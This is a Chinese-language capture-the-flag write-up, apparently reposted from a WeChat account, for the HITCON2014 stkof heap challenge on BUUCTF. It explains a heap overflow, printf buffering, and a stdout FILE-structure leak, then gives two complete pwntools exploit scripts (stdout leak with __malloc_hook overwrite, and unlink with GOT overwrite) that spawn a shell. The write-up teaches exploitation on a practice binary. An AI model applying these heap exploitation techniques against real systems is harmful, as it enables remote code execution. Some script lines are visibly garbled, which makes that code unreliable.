题目:BUUCTF HITCON2014_STKOF
这是一道很老的题目的,原本解题是采用unlink方式,但是介于这个方式在高版本上加入了过多限制条件,以至于只能在2.23到2.27低版本上使用较为方便,所以当遇到这道题的时候就采取了打IO的方法。
首先看下main函数
其中1是create,2是edit,3是free,没有输出
1、
2、
3、
不存在uaf但是edit有堆溢出,size可控可以修改到后面的堆块,所以漏洞点在这里
这个题目没有setbuf()/setvbuf()函数,所以题目是没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域(这里printf也有个利用方式,因为printf或者puts首次调用会申请堆块,输出过多的时候也会调用堆源码如下:)
知识扩充(一):
f (width >= WORK_BUFFER_SIZE - 32)
1500 {
1501 /* We have to use a special buffer. The "32" is just a safe
1502 bet for all the output which is not counted in the width. */
1503 size_t needed = ((size_t) width + 32) * sizeof (CHAR_T);
► 1504 if (__libc_use_alloca (needed))
1505 workend = (CHAR_T *) alloca (needed) + width + 32;
1506 else
1507 {
1508 workstart = (CHAR_T *) malloc (needed);
printf单次大小>65536-32,就会进入malloc
知识扩充(二):
①全缓冲概念:当填满标准I/O缓冲区后才进行实际I/O操作对于驻留在磁盘上的文件通常是由标准I/O库实施全缓存的标准I/O缓冲区的大小通常为8192字节②行缓冲概念:当在输入和输出中遇到换行符时,才执行IO操作这允许我们一次输出一个字符(调用fputc),但只有在写了一行之后才进行实际I/O操作。这流设计一个终端时(如标准输入和标准输出),通常使用行缓冲对于行缓冲有两个限制:第一:因为标准I/O库用来收集每一行的缓冲区的长度是固定的,所以只要填满了缓冲区,那么即使没有遇到换行符,那么也刷新缓冲区进行I/O操作第二:任何时候只要通过标准I/O库要求从(a)一个不带缓冲区的流,或者(b)一个行缓冲的流(它从内核请求需要数据)得到输入数据,那么就会冲洗所有行缓冲输出流。在(b)中带了一个在括号中的说明,其理由是,所需的数据可能已在该缓冲区中,它并不要求一定从内核读数据。很明显,从一个不带缓冲区的流中输入(即(a)项)需要从内核获得数据③无缓冲概念:不对字符进行缓冲,每次调用标准I/O函数都会发生IO操作
然后就是利用方式,由于这里没有输出堆块内容的函数,所以要想获取地址要么用unlink改got表,要么打stdout,这里我使用了打stdout:
首先打stdout需要绕过一些条件
1、设置_flags & _IO_NO_WRITES = 0 _
2、设置flags & _IO_CURRENTLY_PUTTING = 1 _
3、设置flags & _IO_IS_APPENDING = 1 _
4、将IO_write_base设置为要泄露的地方
所以_flag设置成0xfbad1887或者0xfbad1800都可以,然后注意IO_write_base设置成要泄露的地址,其中stdout的地址有16分之一的爆破(0-F)
最终脚本如下:
realchange,p,elf,libc = IPportandprocess('./pwn',ipport='node4.buuoj.cn:25455',libcis='')
debugg()
def add(size):
sl("1")
sl(str(size))
def edit(index,content):
sl("2")
sl(str(index))
sl(str(len(content)))
sl(content)
def free(index):
sl("3")
sl(str(index))
add(0x90)#1
add(0x60)#2
add(0x50)#3
add(0x60)#4
add(0x60)#5
edit(2,pld(cyclic(0x68),0xd1))
free(4)
free(3)
add(0x50)#6
edit(6,pld(cyclic(0x58),0x71,'xddx25'))
add(0x60)#7
add(0x60)#8
free(1)
edit(8,b'A'0x33+p64(0xfbad1800)+p64(0)3+b'x00')
ru('8nOKn')
std_add=getadd64()
libc_base=std_add-88-0x10-libc.sym.__malloc_hook
fake_hook=libc_base+libc.sym.__malloc_hook-0x23
add(0x60)#9
free(9)
edit(6,pld(cyclic(0x58),0x71,fake_hook))
add(0x60)#10
add(0x60)#11
system_add=libc_base+libc.sym.system
sh_add=libc_base+libc.search(b'/bin/sh').next()
edit(11,pld(cyclic(0x13),system_add))
add(sh_add)
interactive()
这里要注意一个坑点,因为程序没有关闭缓冲区,在内存中并没有要泄露的libc地址存在
所以这时候堆块1就用上了,我们free掉1号堆块就正好进入unsorted bin,里面留下了libc的地址,就可以吧base的最后一位改成x00就达到泄露地址的条件了,后续就是改hook拿shell的常规操作了。
然后看一下预期解unlink:
from pwn import *
from LibcSearcher import *
gdb.attach
io=process('./pwn')
# io=remote('node4.buuoj.cn',25605)
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
def add(size):
io.sendline('1')
io.sendline(str(size))
io.recvuntil('OKn')
def edit(idx,size,content):
io.sendline('2')
io.sendline(str(idx))
io.sendline(str(size))
io.send(content)
io.recvuntil('OKn')
def delete(idx):
io.sendline('3')
io.sendline(str(idx))
add(0x100)
add(0x20)
add(0x80)
ptr=0x602150
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0x20)+p64(0x90)
edit(2,len(payload),payload)
delete(3)
io.recvuntil('OK')
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt))
delete(3)
puts_addr=u64(io.recv(6).ljust(8,b'x00'))
print(hex(puts_addr))
libc=elf.libc
base=puts_addr-libc.sym['puts']
io.recvuntil('OK')
system_addr=base+libc.sym.system
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(libc.search(b"/bin/sh").next()+base)
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
io.interactive()
fd改成目标地址s - 0x18(目标地址-0x18位置一定要指向堆块)把bk改成目标地址-0x10(同理),然后需要合并的prev_size和size的p位修改即可。达成的效果就是目标地址被修改成目标地址减去0x18的地址位置
原文始发于微信公众号(由由学习吧):IO攻击之stdout
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论